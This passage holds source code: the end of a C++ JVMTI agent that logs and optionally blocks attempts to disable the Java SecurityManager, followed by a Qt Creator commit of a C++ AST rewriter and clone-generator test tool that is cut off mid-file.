field_klass, jobject object, jfieldID field,\n                char signature_type, jvalue new_value);\n\nenum smf_mode_t {MONITOR, ENFORCE};\n\nstruct options {\n  smf_mode_t mode;\n};\n\noptions opt;\n\nlog4cpp::Category* logger = NULL;\nchar* SMF_HOME = NULL;\n\nJNIEXPORT jint JNICALL Agent_OnLoad(JavaVM* jvm, char* options, void* reserved) {\n\tjvmtiEnv* jvmti = NULL;\n\tjvmtiCapabilities capabilities;\n\tjvmtiError error;\n\tjvmtiEventCallbacks callbacks;\n\t\n\tmemset(&capabilities, 0, sizeof(capabilities));\n\tmemset(&callbacks, 0, sizeof(callbacks));\n\n\t\/\/ Get the SMF_HOME environment variable\n\tSMF_HOME = getenv(\"SMF_HOME\");\n\n\t\/\/ Build path to log properties\n\tstd::string logProperties;\n\tif (SMF_HOME != NULL) {\n\t\tlogProperties += SMF_HOME;\n\t} else {\n\t\tprintf(\"The environment variable SMF_HOME is not set. Attempting to use . as SMF_HOME.\\n\");\n\t\tlogProperties += \".\";\n\t}\n\n\tlogProperties += \"\/log4cpp.properties\";\n\n\tstd::ifstream propertiesFile(logProperties.c_str());\n\tif (!propertiesFile) {\n\t\tprintf(\"The log properties file (%s) does not exist. Terminating...\\n\", logProperties.c_str());\n\t\treturn -1;\n\t}\n\tpropertiesFile.close();\n\n\t\/\/ Start the logger\n\tlog4cpp::PropertyConfigurator::configure(logProperties);\n\tlogger = &log4cpp::Category::getRoot();\n\n\tif (logger == NULL) {\n\t\tprintf(\"Failed to get logger. Terminating...\\n\");\n\t\treturn -1;\n\t}\n\n\t\/\/ Get the options\n\tif (!GetOptions()) {\n\t\treturn -1;\n\t}\n\n\t\/\/ Get JVMTI environment\n\tjint env_error = jvm->GetEnv((void **)&jvmti, JVMTI_VERSION_1_0);\n\tif (env_error != JNI_OK || jvmti == NULL) {\n\t\tlogger->fatal(\"Failed to get JVMTI environment.\");\n\t\treturn env_error;\n\t}\n\n\t\/\/ Enable capability to get source code line numbers and source file\n\tcapabilities.can_get_line_numbers = 1;\n\tcapabilities.can_get_source_file_name = 1;\n\n\t\/\/ Enable capability to receive events for field modifications and the event itself                \n\tcapabilities.can_generate_field_modification_events = 1;\n\n\terror = jvmti->AddCapabilities(&capabilities);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get necessary JVMTI capabilities.\");\n\n\terror = jvmti->SetEventNotificationMode(JVMTI_ENABLE, JVMTI_EVENT_FIELD_MODIFICATION, NULL);\n\tcheck_jvmti_error(jvmti, error, \"Unable to set JVMTI_EVENT_FIELD_MODIFICATION.\");\n\n\t\/\/ Enable VMInit event so that we know when the JVM is initialized and we \n\t\/\/ can finish the rest of the setup\n\terror = jvmti->SetEventNotificationMode(JVMTI_ENABLE, JVMTI_EVENT_VM_INIT, NULL);\n\tcheck_jvmti_error(jvmti, error, \"Unable to set JVMTI_EVENT_VM_INIT.\");\n\n\tcallbacks.VMInit = &VMInit;\n\n\t\/\/ Set a callback to receive events when the security field of System is set.\n\t\/\/ This will let us see when the security manager is being changed.\n\tcallbacks.FieldModification = &FieldModification;\n\n\terror = jvmti->SetEventCallbacks(&callbacks, (jint)sizeof(callbacks));\n\tcheck_jvmti_error(jvmti, error, \"Unable to register callback for field modification events.\");\n\n\treturn JNI_OK;\n}\n\nJNIEXPORT void JNICALL Agent_OnUnload(JavaVM* jvm)\n{\n\tlog4cpp::Category::shutdown();\n}\n\nvoid JNICALL VMInit(jvmtiEnv *jvmti, JNIEnv* jni_env, jthread thread) {\n\tjclass system_class;\n\tjfieldID securityID; \n\tjvmtiError error;\n\n\t\/\/ Get the security field of the System class (holds the SecurityManager) and\n\t\/\/ set a modification watch on it\n\terror = GetClassBySignature(jvmti, \"Ljava\/lang\/System;\", &system_class);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get System class.\");\n\n\terror = GetFieldIDByName(jvmti, system_class, \"security\", &securityID);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get security field of the System class.\");\n\n\terror = jvmti->SetFieldModificationWatch(system_class, securityID);\n\tcheck_jvmti_error(jvmti, error, \"Unable to set a watch on modifications of security field of System class.\");\n}\n\n\/**\n * @brief\treads the smf properties file and populates the global opt struct with the correct values\n *\n * @retval\ttrue if all of the options in the properties are valid, false and a fatal log message otherwise\n *\/\nbool GetOptions() {\n\tstd::string mode;\n\n\t\/\/ Build path to smf properties\n\tstd::string smfProperties;\n\tif (SMF_HOME != NULL) {\n\t\tsmfProperties += SMF_HOME;\n\t} else {\n\t\tsmfProperties += \".\";\n\t}\n\n\tsmfProperties += \"\/smf.properties\";\n\n\tstd::ifstream propertiesFile(smfProperties.c_str());\n\tif (!propertiesFile) {\n\t\tlogger->fatal(\"The SMF properties file (%s) does not exist. Terminating...\\n\", smfProperties.c_str());\n\t\treturn false;\n\t}\n\tpropertiesFile.close();\n\t\n\tstd::ifstream settings_file(smfProperties.c_str());\n\tboost::program_options::options_description desc(\"Options\");\n\tdesc.add_options()\n\t\t(\"mode\", boost::program_options::value<std::string>(&mode), \"mode\");\n\tboost::program_options::variables_map vm = boost::program_options::variables_map();\n\n\tboost::program_options::store(boost::program_options::parse_config_file(settings_file , desc), vm);\n\tboost::program_options::notify(vm);  \n\tsettings_file.close();\n\n\tif (strcasecmp(mode.c_str(), \"MONITOR\") == 0) {\n\t\topt.mode = MONITOR;\n\t} else if (strcasecmp(mode.c_str(), \"ENFORCE\") == 0) {\n\t\topt.mode = ENFORCE;\n\t} else {\n\t\tlogger->fatal(\"Option value unknown: %s. Terminating...\");\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nvoid log_jvmti_error(jvmtiEnv* jvmti, jvmtiError errnum, const char* str)\n{\n\tchar* errnum_str = NULL;\n\n\tjvmti->GetErrorName(errnum, &errnum_str);\n\n\tlogger->error(\"JVMTI: %d(%s): %s\\n\", errnum, errnum_str == NULL ? \"Unknown\" : errnum_str, \n\t\tstr == NULL ? \"\" : str);\n\n\tjvmti->Deallocate((unsigned char*)errnum_str);\n}\n\nvoid check_jvmti_error(jvmtiEnv* jvmti, jvmtiError errnum, const char* str)\n{\n\tif (errnum != JVMTI_ERROR_NONE)\n\t\tlog_jvmti_error(jvmti, errnum, str);\n}\n\n\/**\n * @brief\tlooks up and returns the reference for a class based on a user specified Java type signature\n * \n * @param\t[in] the JVMTI environment used to access the JVMTI API\n * @param\t[in] the Java type signature for the class we'd like to retrieve a reference to\n * @param\t[out] a pointer that will be set to reference the class whose signature was specified\n *\n * @retval\ta JVMTI error code if one is returned by any of the JVMTI API calls\n *\/\njvmtiError GetClassBySignature(jvmtiEnv* jvmti, const char* signature, jclass* klass) {\n\tjint class_count = 0;\n\tjclass* classes = NULL;\n\tjvmtiError error;\n\n\terror = jvmti->GetLoadedClasses(&class_count, &classes);\n\tif (error != JVMTI_ERROR_NONE)\n\t\treturn error;\n\n\n\tfor (int i = 0; i < class_count; i++) {\n\t\tchar* class_signature = NULL;\n\n\t\terror = jvmti->GetClassSignature(classes[i], &class_signature, NULL);\n\t\tif (error != JVMTI_ERROR_NONE)\n\t\t\treturn error;\n\n\t\tif (strcmp(class_signature, signature) == 0) {\n\t\t\t*klass = classes[i];\n\t\t\tbreak;\n\t\t}\n\n\t\tjvmti->Deallocate((unsigned char*)class_signature);\n\t}\n\n\tjvmti->Deallocate((unsigned char*)classes);\n\n\treturn JVMTI_ERROR_NONE;\n}\n\n\/**\n * @brief\tlooks up and returns the ID for a field in a class based on a user specified field name and class\n * \n * @param\t[in] the JVMTI environment used to access the JVMTI API\n * @param\t[in] the Java class we want to retrieve a field ID from\n * @param\t[in] the name of the field whose ID we want to retrieve\n * @param\t[out] a pointer to a jfieldID that will be set to the named field's ID\n *\n * @retval\ta JVMTI error code if one is returned by any of the JVMTI API calls\n *\/\njvmtiError GetFieldIDByName(jvmtiEnv* jvmti, jclass klass, const char* name, jfieldID* fieldID) {\n\tjint field_count = 0;\n\tjfieldID* fields = NULL;\n\tjvmtiError error;\n\n\terror = jvmti->GetClassFields(klass, &field_count, &fields);\n\tif (error != JVMTI_ERROR_NONE)\n\t\treturn error;\n\n\tfor (int i = 0; i < field_count; i++) {\n\t\tchar* field_name = NULL;\n\n\t\terror = jvmti->GetFieldName(klass, fields[i], &field_name, NULL, NULL);\n\t\tif (error != JVMTI_ERROR_NONE)\n\t\t\treturn error;\n\n\t\tif (strcmp(field_name, name) == 0) {\n\t\t\t*fieldID = fields[i];\n\t\t\tbreak;\n\t\t}\n\n\t\tjvmti->Deallocate((unsigned char*)field_name);\n\t}\n\n\tjvmti->Deallocate((unsigned char*)fields);\n\n\treturn JVMTI_ERROR_NONE;\n}\n\nvoid JNICALL FieldModification(jvmtiEnv* jvmti, JNIEnv* jni_env,\n                jthread thread, jmethodID method, jlocation location,\n                jclass field_klass, jobject object, jfieldID field,\n                char signature_type, jvalue new_value) {\n\n\tjvmtiError error;\n\tjvmtiFrameInfo caller_frame;\n\tjint frame_count = 0;\n\tjint line_count = 0;\n\tjvmtiLineNumberEntry* line_table = NULL;\n\tjint line_number = 0;\n\tchar* method_name = NULL;\n\tjclass caller_class = NULL;\n\tchar* source_file_name = NULL;\n\n\t\/\/ Get caller (we have to do this because we are in setSecurityManager when\n\t\/\/ this method is called);\n\terror = jvmti->GetStackTrace(thread, 2, 1, &caller_frame, &frame_count);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get stack frame.\");\n\n\t\/\/ Get caller's line number\t\n\terror = jvmti->GetLineNumberTable(caller_frame.method, &line_count, &line_table);\t\n\tcheck_jvmti_error(jvmti, error, \"Unable to get line number for SecurityManager change.\");\n\n\tfor (int i = 0; i < line_count; i++) {\n\t\tif (line_table[i].start_location > caller_frame.location)\n\t\t\tbreak;\n\n\t\tline_number = line_table[i].line_number;\n\t}\n\n\t\/\/ Get caller's method name\n\terror = jvmti->GetMethodName(caller_frame.method, &method_name, NULL, NULL);\n\tcheck_jvmti_error(jvmti, error, \"Unable to method name.\");\n\n\t\/\/ Get the caller's class and source file name\n\terror = jvmti->GetMethodDeclaringClass(caller_frame.method, &caller_class);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get caller class.\");\n\n\terror = jvmti->GetSourceFileName(caller_class, &source_file_name);\n\n\tlogger->info(\"SecurityManager Changed: %s, %s, %d\", source_file_name, method_name, line_number);\n\n\t\/\/ If new_value is a null SecurityManager raise a red flag\n\tif ((long)new_value.j == 0) {\n\t\tif (opt.mode == MONITOR) {\n\t\t\tlogger->warn(\"The SecurityManager is being disabled.\\n\");\n\t\t} else if (opt.mode == ENFORCE) {\n\t\t\tlogger->fatal(\"The SecurityManager is being disabled. Terminating the running application...\");\n\t\t\texit(-1);\n\t\t}\n\t} else {\n\t\t\/\/jclass new_manager = jni_env->GetObjectClass(new_value.l);\n\t\t\/\/ TODO: This is where we may do something with the new manager in the plugin\n\t}\n\n\tjvmti->Deallocate((unsigned char*)line_table);\n\tjvmti->Deallocate((unsigned char*)method_name);\n\tjvmti->Deallocate((unsigned char*)source_file_name);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/www.qtsoftware.com\/contact.\n**\n**************************************************************************\/\n\n#include <AST.h>\n#include <ASTVisitor.h>\n#include <Control.h>\n#include <Scope.h>\n#include <Semantic.h>\n#include <TranslationUnit.h>\n#include <PrettyPrinter.h>\n#include <Literals.h>\n#include <Symbols.h>\n#include <Names.h>\n#include <CoreTypes.h>\n\n#include <QFile>\n#include <QList>\n#include <QCoreApplication>\n#include <QStringList>\n#include <QFileInfo>\n#include <QTime>\n#include <QtDebug>\n\n#include <cstdio>\n#include <cstdlib>\n#include <iostream>\n#include <sstream>\n\nCPLUSPLUS_USE_NAMESPACE\n\nclass Rewrite\n{\n    QMultiMap<unsigned, QByteArray> _insertBefore;\n    QMultiMap<unsigned, QByteArray> _insertAfter;\n    QSet<unsigned> _removed;\n\npublic:\n    void remove(unsigned index)\n    { remove(index, index + 1); }\n\n    void remove(unsigned first, unsigned last)\n    {\n        Q_ASSERT(first < last);\n\n        for (; first != last; ++first)\n            _removed.insert(first);\n    }\n\n    void insertTextBefore(unsigned index, const QByteArray &text)\n    { _insertBefore.insert(index, text); }\n\n    void insertTextAfter(unsigned index, const QByteArray &text)\n    { _insertAfter.insert(index, text); }\n\n    void rewrite(const TranslationUnit *unit,\n                 const QByteArray &contents,\n                 QByteArray *out)\n    {\n        _source = contents;\n        const char *source = contents.constData();\n        unsigned previousTokenEndPosition = 0;\n        for (unsigned i = 0; i < unit->tokenCount(); ++i) {\n            const Token &tk = unit->tokenAt(i);\n\n            if (previousTokenEndPosition != tk.begin()) {\n                Q_ASSERT(previousTokenEndPosition < tk.begin());\n                out->append(source + previousTokenEndPosition,\n                            tk.begin() - previousTokenEndPosition);\n            }\n\n            QMultiMap<unsigned, QByteArray>::const_iterator it;\n\n            it = _insertBefore.constFind(i);\n            for (; it != _insertBefore.constEnd() && it.key() == i; ++it) {\n                out->append(it.value());\n            }\n\n            if (! _removed.contains(i))\n                out->append(source + tk.begin(), tk.length);\n\n            it = _insertAfter.constFind(i);\n            for (; it != _insertAfter.constEnd() && it.key() == i; ++it) {\n                out->append(it.value());\n            }\n\n            previousTokenEndPosition = tk.end();\n        }\n    }\n\nprotected:\n    QByteArray _source;\n};\n\nclass SimpleRefactor: protected ASTVisitor, Rewrite {\npublic:\n    SimpleRefactor(Control *control)\n        : ASTVisitor(control)\n    { }\n\n    void operator()(const TranslationUnit *unit,\n                    const QByteArray &source,\n                    QByteArray *out)\n    {\n        accept(unit->ast());\n        rewrite(unit, source, out);\n    }\n\nprotected:\n    bool isEnumOrTypedefEnum(SpecifierAST *spec) {\n        if (! spec)\n            return false;\n        if (SimpleSpecifierAST *simpleSpec = spec->asSimpleSpecifier()) {\n            if (tokenKind(simpleSpec->specifier_token) == T_TYPEDEF)\n                return isEnumOrTypedefEnum(spec->next);\n        }\n        return spec->asEnumSpecifier() != 0;\n    }\n    virtual bool visit(SimpleDeclarationAST *ast) {\n        if (isEnumOrTypedefEnum(ast->decl_specifier_seq)) {\n            \/\/remove(ast->firstToken(), ast->lastToken());\n            insertTextBefore(ast->firstToken(), \"\/* #REF# removed \");\n            insertTextAfter(ast->lastToken() - 1, \"*\/\");\n            return true;\n        }\n        return true;\n    }\n\n    virtual bool visit(AccessDeclarationAST *ast)\n    {\n        if (tokenKind(ast->access_specifier_token) == T_PRIVATE) {\n            \/\/ change visibility from `private' to `public'.\n            remove(ast->access_specifier_token);\n            insertTextAfter(ast->access_specifier_token, \"public \/* #REF# private->public *\/\");\n        }\n        return true;\n    }\n\n    virtual bool visit(FunctionDefinitionAST *ast)\n    {\n        bool isInline = false;\n        for (SpecifierAST *spec = ast->decl_specifier_seq; spec; spec = spec->next) {\n            if (SimpleSpecifierAST *simpleSpec = spec->asSimpleSpecifier()) {\n                if (tokenKind(simpleSpec->specifier_token) == T_INLINE) {\n                    isInline = true;\n                    break;\n                }\n            }\n        }\n\n        \/\/ force the `inline' specifier.\n        if (! isInline)\n            insertTextBefore(ast->firstToken(), \"inline \/* #REF# made inline *\/ \");\n\n        return true;\n    }\n\n    virtual bool visit(ClassSpecifierAST *ast)\n    {\n        \/\/ export\/import the class using the macro MY_EXPORT.\n        if (ast->name)\n            insertTextBefore(ast->name->firstToken(), \"MY_EXPORT \");\n\n        \/\/ add QObject to the base clause.\n        if (ast->colon_token)\n            insertTextAfter(ast->colon_token, \" public QObject,\");\n        else if (ast->lbrace_token)\n            insertTextBefore(ast->lbrace_token, \": public QObject \");\n\n        \/\/ mark the class as Q_OBJECT.\n        if (ast->lbrace_token)\n            insertTextAfter(ast->lbrace_token, \" Q_OBJECT\\n\");\n\n        for (DeclarationAST *it = ast->member_specifiers; it; it = it->next) {\n            accept(it);\n        }\n\n        return false;\n    }\n\n    virtual bool visit(CppCastExpressionAST *ast)\n    {\n        \/\/ Replace the C++ cast expression (e.g. static_cast<foo>(a)) with\n        \/\/ the one generated by the pretty printer.\n        std::ostringstream o;\n        PrettyPrinter pp(control(), o);\n        pp(ast, _source);\n        remove(ast->firstToken(), ast->lastToken());\n        const std::string str = o.str();\n        insertTextBefore(ast->firstToken(), str.c_str());\n        insertTextBefore(ast->firstToken(), \"\/* #REF# beautiful cast *\/ \");\n        return false;\n    }\n};\n\nclass CloneCG: protected ASTVisitor\n{\npublic:\n    CloneCG(Control *control)\n        : ASTVisitor(control)\n    { }\n\n    void operator()(AST *ast)\n    {\n        std::cout <<\n            \"\/**************************************************************************\\n\"\n            \"**\\n\"\n            \"** This file is part of Qt Creator\\n\"\n            \"**\\n\"\n            \"** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\\n\"\n            \"**\\n\"\n            \"** Contact: Nokia Corporation (qt-info@nokia.com)\\n\"\n            \"**\\n\"\n            \"** Commercial Usage\\n\"\n            \"**\\n\"\n            \"** Licensees holding valid Qt Commercial licenses may use this file in\\n\"\n            \"** accordance with the Qt Commercial License Agreement provided with the\\n\"\n            \"** Software or, alternatively, in accordance with the terms contained in\\n\"\n            \"** a written agreement between you and Nokia.\\n\"\n            \"**\\n\"\n            \"** GNU Lesser General Public License Usage\\n\"\n            \"**\\n\"\n            \"** Alternatively, this file may be used under the terms of the GNU Lesser\\n\"\n            \"** General Public License version 2.1 as published by the Free Software\\n\"\n            \"** Foundation and appearing in the file LICENSE.LGPL included in the\\n\"\n            \"** packaging of this file.  Please review the following information to\\n\"\n            \"** ensure the GNU Lesser General Public License version 2.1 requirements\\n\"\n            \"** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\\n\"\n            \"**\\n\"\n            \"** If you are unsure which license is appropriate for your use, please\\n\"\n            \"** contact the sales department at http:\/\/www.qtsoftware.com\/contact.\\n\"\n            \"**\\n\"\n            \"**************************************************************************\/\\n\"\n            \"\\n\"\n            \"#include \\\"AST.h\\\"\\n\"\n            \"\\n\"\n            \"CPLUSPLUS_BEGIN_NAMESPACE\\n\" << std::endl;\n\n        accept(ast);\n\n        std::cout << \"CPLUSPLUS_END_NAMESPACE\" << std::endl;\n    }\n\nprotected:\n    using ASTVisitor::visit;\n\n    QMap<QByteArray, ClassSpecifierAST *> classMap;\n\n    QByteArray id_cast(NameAST *name)\n    {\n        if (! name)\n            return QByteArray();\n\n        Identifier *id = identifier(name->asSimpleName()->identifier_token);\n\n        return QByteArray::fromRawData(id->chars(), id->size());\n    }\n\n    void copyMembers(Class *klass)\n    {\n        for (unsigned i = 0; i < klass->baseClassCount(); ++i) {\n            const QByteArray baseClassName = klass->baseClassAt(i)->identifier()->chars();\n            if (ClassSpecifierAST *baseClassSpec = classMap.value(baseClassName, 0)) {\n                copyMembers(baseClassSpec->symbol);\n            }\n        }\n\n        const QByteArray className = klass->name()->identifier()->chars();\n\n        std::cout << \"    \/\/ copy \" << className.constData() << std::endl;\n        for (unsigned i = 0; i < klass->memberCount(); ++i) {\n            Symbol *member = klass->memberAt(i);\n            Identifier *id = member->name()->identifier();\n\n            if (! id)\n                continue;\n\n            const QByteArray memberName = QByteArray::fromRawData(id->chars(), id->size());\n            if (member->type().isUnsigned() && memberName.endsWith(\"_token\")) {\n                std::cout << \"    ast->\" << id->chars() << \" = \" << id->chars() << \";\" << std::endl;\n            } else if (PointerType *ptrTy = member->type()->asPointerType()) {\n                if (NamedType *namedTy = ptrTy->elementType()->asNamedType()) {\n                    QByteArray typeName = namedTy->name()->identifier()->chars();\n                    if (typeName.endsWith(\"AST\")) {\n                        std::cout << \"    if (\" << memberName.constData() << \") ast->\" << memberName.constData()\n                                << \" = \" << memberName.constData() << \"->clone(pool);\" << std::endl;\n                    }\n                }\n            }\n        }\n    }\n\n    virtual bool visit(ClassSpecifierAST *ast)\n    {\n        Class *klass = ast->symbol;\n\n        const QByteArray className = id_cast(ast->name);\n        classMap.insert(className, ast);\n\n        Identifier *clone_id = control()->findOrInsertIdentifier(\"clone\");\n        if (! klass->members()->lookat(clone_id))\n            return true;\n\n        std::cout << className.constData() << \" *\" << className.constData() << \"::clone(MemoryPool *pool) const\" << std::endl\n                << \"{\" << std::endl;\n\n        std::cout << \"    \" << className.constData() << \" *ast = new (pool) \" << className.constData() << \";\" << std::endl;\n\n        copyMembers(klass);\n\n        std::cout << \"    return ast;\" << std::endl\n                << \"}\" << std::endl\n                << std::endl;\n\n        return true;\n    }\n};\n\nint main(int argc, char *argv[])\n{\n    QCoreApplication app(argc, argv);\n\n    QStringList args = app.arguments();\n    const QString appName = args.first();\n    args.removeFirst();\n\n    bool test_rewriter = false;\n    bool test_pretty_printer = false;\n\n    foreach (QString arg, args) {\n        if (arg == QLatin1String(\"--test-rewriter\"))\n            test_rewriter = true;\n        else if (arg == QLatin1String(\"--test-pretty-printer\"))\n            test_pretty_printer = true;\n        else if (arg == QLatin1String(\"--help\")) {\n            const QFileInfo appInfo(appName);\n            const QByteArray appFileName = QFile::encodeName(appInfo.fileName());\n\n            printf(\"Usage: %s [options]\\n\"\n                   \"  --help                    Display this information\\n\"\n                   \"  --test-rewriter           Test the tree rewriter\\n\"\n                   \"  --test-pretty-printer     Test the pretty printer\\n\",\n                   appFileName.constData());\n            return EXIT_SUCCESS;\n        }\n    }\n\n    QFile in;\n    if (! in.open(stdin, QFile::ReadOnly))\n        return EXIT_FAILURE;\n\n    const QByteArray source = in.readAll();\n\n    Control control;\n    StringLiteral *fileId = control.findOrInsertFileName(\"<stdin>\");\n    TranslationUnit unit(&control, fileId);\n    unit.setObjCEnabled(true);\n    unit.setSource(source.constData(), source.size());\n    unit.parse();\n    if (! unit.ast())\n        return EXIT_FAILURE;\n\n    TranslationUnitAST *ast = unit.ast()->asTranslationUnit();\n    Q_ASSERT(ast != 0);\n\n    Scope globalScope;\n    Semantic sem(&control);\n    for (DeclarationAST *decl = ast->declarations; decl; decl = decl->next) {\n        sem.check(decl, &globalScope);\n    }\n\n    \/\/ test the rewriter\n    if (test_rewriter) {\n        QByteArray out;\n        SimpleRefactor refactor(&control);\n        refactor(&unit, source, &out);\n        printf(\"%s\\n\", out.constData());\n    } else if (test_pretty_printer) {\n        MemoryPool pool2;\n        TranslationUnitAST *other = unit.ast()->clone(&pool2)->asTranslationUnit();\n        PrettyPrinter pp(&control, std::cout);\n        pp(other, source);\n    }\n\n    return EXIT_SUCCESS;\n}\n<commit_msg>Generator for the accept0 methods.<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/www.qtsoftware.com\/contact.\n**\n**************************************************************************\/\n\n#include <AST.h>\n#include <ASTVisitor.h>\n#include <Control.h>\n#include <Scope.h>\n#include <Semantic.h>\n#include <TranslationUnit.h>\n#include <PrettyPrinter.h>\n#include <Literals.h>\n#include <Symbols.h>\n#include <Names.h>\n#include <CoreTypes.h>\n\n#include <QFile>\n#include <QList>\n#include <QCoreApplication>\n#include <QStringList>\n#include <QFileInfo>\n#include <QTime>\n#include <QtDebug>\n\n#include <cstdio>\n#include <cstdlib>\n#include <iostream>\n#include <sstream>\n\nCPLUSPLUS_USE_NAMESPACE\n\nclass Rewrite\n{\n    QMultiMap<unsigned, QByteArray> _insertBefore;\n    QMultiMap<unsigned, QByteArray> _insertAfter;\n    QSet<unsigned> _removed;\n\npublic:\n    void remove(unsigned index)\n    { remove(index, index + 1); }\n\n    void remove(unsigned first, unsigned last)\n    {\n        Q_ASSERT(first < last);\n\n        for (; first != last; ++first)\n            _removed.insert(first);\n    }\n\n    void insertTextBefore(unsigned index, const QByteArray &text)\n    { _insertBefore.insert(index, text); }\n\n    void insertTextAfter(unsigned index, const QByteArray &text)\n    { _insertAfter.insert(index, text); }\n\n    void rewrite(const TranslationUnit *unit,\n                 const QByteArray &contents,\n                 QByteArray *out)\n    {\n        _source = contents;\n        const char *source = contents.constData();\n        unsigned previousTokenEndPosition = 0;\n        for (unsigned i = 0; i < unit->tokenCount(); ++i) {\n            const Token &tk = unit->tokenAt(i);\n\n            if (previousTokenEndPosition != tk.begin()) {\n                Q_ASSERT(previousTokenEndPosition < tk.begin());\n                out->append(source + previousTokenEndPosition,\n                            tk.begin() - previousTokenEndPosition);\n            }\n\n            QMultiMap<unsigned, QByteArray>::const_iterator it;\n\n            it = _insertBefore.constFind(i);\n            for (; it != _insertBefore.constEnd() && it.key() == i; ++it) {\n                out->append(it.value());\n            }\n\n            if (! _removed.contains(i))\n                out->append(source + tk.begin(), tk.length);\n\n            it = _insertAfter.constFind(i);\n            for (; it != _insertAfter.constEnd() && it.key() == i; ++it) {\n                out->append(it.value());\n            }\n\n            previousTokenEndPosition = tk.end();\n        }\n    }\n\nprotected:\n    QByteArray _source;\n};\n\nclass SimpleRefactor: protected ASTVisitor, Rewrite {\npublic:\n    SimpleRefactor(Control *control)\n        : ASTVisitor(control)\n    { }\n\n    void operator()(const TranslationUnit *unit,\n                    const QByteArray &source,\n                    QByteArray *out)\n    {\n        accept(unit->ast());\n        rewrite(unit, source, out);\n    }\n\nprotected:\n    bool isEnumOrTypedefEnum(SpecifierAST *spec) {\n        if (! spec)\n            return false;\n        if (SimpleSpecifierAST *simpleSpec = spec->asSimpleSpecifier()) {\n            if (tokenKind(simpleSpec->specifier_token) == T_TYPEDEF)\n                return isEnumOrTypedefEnum(spec->next);\n        }\n        return spec->asEnumSpecifier() != 0;\n    }\n    virtual bool visit(SimpleDeclarationAST *ast) {\n        if (isEnumOrTypedefEnum(ast->decl_specifier_seq)) {\n            \/\/remove(ast->firstToken(), ast->lastToken());\n            insertTextBefore(ast->firstToken(), \"\/* #REF# removed \");\n            insertTextAfter(ast->lastToken() - 1, \"*\/\");\n            return true;\n        }\n        return true;\n    }\n\n    virtual bool visit(AccessDeclarationAST *ast)\n    {\n        if (tokenKind(ast->access_specifier_token) == T_PRIVATE) {\n            \/\/ change visibility from `private' to `public'.\n            remove(ast->access_specifier_token);\n            insertTextAfter(ast->access_specifier_token, \"public \/* #REF# private->public *\/\");\n        }\n        return true;\n    }\n\n    virtual bool visit(FunctionDefinitionAST *ast)\n    {\n        bool isInline = false;\n        for (SpecifierAST *spec = ast->decl_specifier_seq; spec; spec = spec->next) {\n            if (SimpleSpecifierAST *simpleSpec = spec->asSimpleSpecifier()) {\n                if (tokenKind(simpleSpec->specifier_token) == T_INLINE) {\n                    isInline = true;\n                    break;\n                }\n            }\n        }\n\n        \/\/ force the `inline' specifier.\n        if (! isInline)\n            insertTextBefore(ast->firstToken(), \"inline \/* #REF# made inline *\/ \");\n\n        return true;\n    }\n\n    virtual bool visit(ClassSpecifierAST *ast)\n    {\n        \/\/ export\/import the class using the macro MY_EXPORT.\n        if (ast->name)\n            insertTextBefore(ast->name->firstToken(), \"MY_EXPORT \");\n\n        \/\/ add QObject to the base clause.\n        if (ast->colon_token)\n            insertTextAfter(ast->colon_token, \" public QObject,\");\n        else if (ast->lbrace_token)\n            insertTextBefore(ast->lbrace_token, \": public QObject \");\n\n        \/\/ mark the class as Q_OBJECT.\n        if (ast->lbrace_token)\n            insertTextAfter(ast->lbrace_token, \" Q_OBJECT\\n\");\n\n        for (DeclarationAST *it = ast->member_specifiers; it; it = it->next) {\n            accept(it);\n        }\n\n        return false;\n    }\n\n    virtual bool visit(CppCastExpressionAST *ast)\n    {\n        \/\/ Replace the C++ cast expression (e.g. static_cast<foo>(a)) with\n        \/\/ the one generated by the pretty printer.\n        std::ostringstream o;\n        PrettyPrinter pp(control(), o);\n        pp(ast, _source);\n        remove(ast->firstToken(), ast->lastToken());\n        const std::string str = o.str();\n        insertTextBefore(ast->firstToken(), str.c_str());\n        insertTextBefore(ast->firstToken(), \"\/* #REF# beautiful cast *\/ \");\n        return false;\n    }\n};\n\nclass CloneCG: protected ASTVisitor\n{\npublic:\n    CloneCG(Control *control)\n        : ASTVisitor(control)\n    { }\n\n    void operator()(AST *ast)\n    {\n        std::cout <<\n            \"\/**************************************************************************\\n\"\n            \"**\\n\"\n            \"** This file is part of Qt Creator\\n\"\n            \"**\\n\"\n            \"** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\\n\"\n            \"**\\n\"\n            \"** Contact: Nokia Corporation (qt-info@nokia.com)\\n\"\n            \"**\\n\"\n            